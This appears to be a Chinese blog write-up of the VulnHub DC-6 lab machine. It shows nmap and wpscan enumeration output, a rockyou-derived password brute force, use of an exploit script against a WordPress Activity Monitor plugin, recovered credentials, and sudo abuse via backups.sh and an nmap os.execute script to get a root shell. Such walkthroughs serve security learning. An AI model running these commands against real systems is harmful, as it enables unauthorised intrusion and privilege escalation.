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vulnhub_DC_6_wp

发布时间 2023-08-02 19:14:50作者: 夜梓月

前言

靶机地址:https://www.vulnhub.com/entry/dc-6,315/
靶机下载地址：https://download.vulnhub.com/dc/DC-6.zip
攻击机地址：192.168.20.135

靶机探测

nmap -sn 192.168.20.0/24
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192.168.20.149为靶机地址

端口扫描

nmap -p- 192.168.20.149
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详细信息扫描

nmap -A -p22,80 192.168.20.149

点击查看扫描结果 
┌──(root㉿kali)-[~]
└─# nmap -A -p22,80 192.168.20.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-02 05:38 EDT
Nmap scan report for 192.168.20.149
Host is up (0.00055s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e52cece01b694eb7b037dbe087f5ffd (RSA)
|   256 3c836571dd73d723f8830de346bcb56f (ECDSA)
|_  256 41899e85ae305be08fa4687106b415ee (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Did not follow redirect to http://wordy/
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 00:0C:29:78:3C:86 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.55 ms 192.168.20.149

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.34 seconds

wordy域名修改hosts文件
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nmap漏洞扫描

nmap -p22,80 --script=vuln 192.168.20.149

点击查看扫描结果 
┌──(root㉿kali)-[~]
└─# nmap -p22,80 --script=vuln 192.168.20.149        
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-02 05:47 EDT
Nmap scan report for wordy (192.168.20.149)
Host is up (0.00047s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2 
|   /: WordPress version: 5.1.1
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|_  /readme.html: Interesting, a readme.
| http-wordpress-users: 
| Username found: admin
| Username found: graham
| Username found: mark
| Username found: sarah
| Username found: jens
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
|_http-csrf: Couldn't find any CSRF vulnerabilities.
MAC Address: 00:0C:29:78:3C:86 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 33.64 seconds

web信息收集

访问页面
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查看一番网页源码注释没有发现有用信息

whatweb信息收集

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先上wpscan扫一波

wpscan扫描

wpscan --url http://wordy/

点击查看扫描结果 
┌──(root㉿kali)-[~]
└─# wpscan --url http://wordy/
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://wordy/ [192.168.20.149]
[+] Started: Wed Aug  2 05:50:58 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.25 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://wordy/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
 | Found By: Rss Generator (Passive Detection)
 |  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
 |  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://wordy/wp-content/themes/twentyseventeen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.2
 | Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <======================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed Aug  2 05:51:02 2023
[+] Requests Done: 187
[+] Cached Requests: 5
[+] Data Sent: 42.704 KB
[+] Data Received: 20.427 MB
[+] Memory used: 262.402 MB
[+] Elapsed time: 00:00:03

WordPress version 5.1.1
扫一下用户
wpscan wordy -e --url http://wordy/

点击查看扫描结果 
┌──(root㉿kali)-[~]
└─# wpscan wordy -e --url http://wordy/
Type application/netcdf is already registered as a variant of application/netcdf.
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://wordy/ [192.168.20.149]
[+] Started: Wed Aug  2 05:57:27 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.25 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://wordy/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
 | Found By: Rss Generator (Passive Detection)
 |  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
 |  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://wordy/wp-content/themes/twentyseventeen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.2
 | Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:00 <=====================================> (570 / 570) 100.00% Time: 00:00:00
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] No themes Found.

[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:02 <===================================> (2575 / 2575) 100.00% Time: 00:00:02

[i] No Timthumbs Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <======================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating DB Exports (via Passive and Aggressive Methods)
 Checking DB Exports - Time: 00:00:00 <============================================> (71 / 71) 100.00% Time: 00:00:00

[i] No DB Exports Found.

[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
 Brute Forcing Attachment IDs - Time: 00:00:00 <=================================> (100 / 100) 100.00% Time: 00:00:00

[i] No Medias Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=======================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] mark
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] graham
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] sarah
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jens
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed Aug  2 05:57:36 2023
[+] Requests Done: 3484
[+] Cached Requests: 40
[+] Data Sent: 904.909 KB
[+] Data Received: 789.675 KB
[+] Memory used: 286.426 MB
[+] Elapsed time: 00:00:09

可以发现扫描出来了5个用户名
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搜索相关漏洞

WordPress version 5.1.1
searchsploit WordPress 5.1.1

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暂时没有可以直接利用的

暴力破解

用户有了，密码就用提示中的
image

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cat /usr/share/wordlists/rockyou.txt | grep k01 > pass.txt
生成字典
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wpscan --url wordy -U user.txt -P pass.txt

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username：mark
password：helpdesk01

登录后台

后台地址：http://wordy/wp-login.php

image

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插件漏洞

Activity monitor这个插件存在rce漏洞
image

直接用50110.py
直接运行填写信息即可

image

ls -alhR /home
查看隐私文件
image
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发现账号密码
graham - GSo7isUM1D4
ssh登录
image

提权

sudo -l
查看该用户所能执行的文件
image
查看该脚本
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切换成jens的shell
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
image

image
查看当前用户可以用的命令
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发现有nmap
nmap提权
echo "os.execute('/bin/bash')" > getshell
sudo nmap --script=getshell
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提权成功

flag

flag如下
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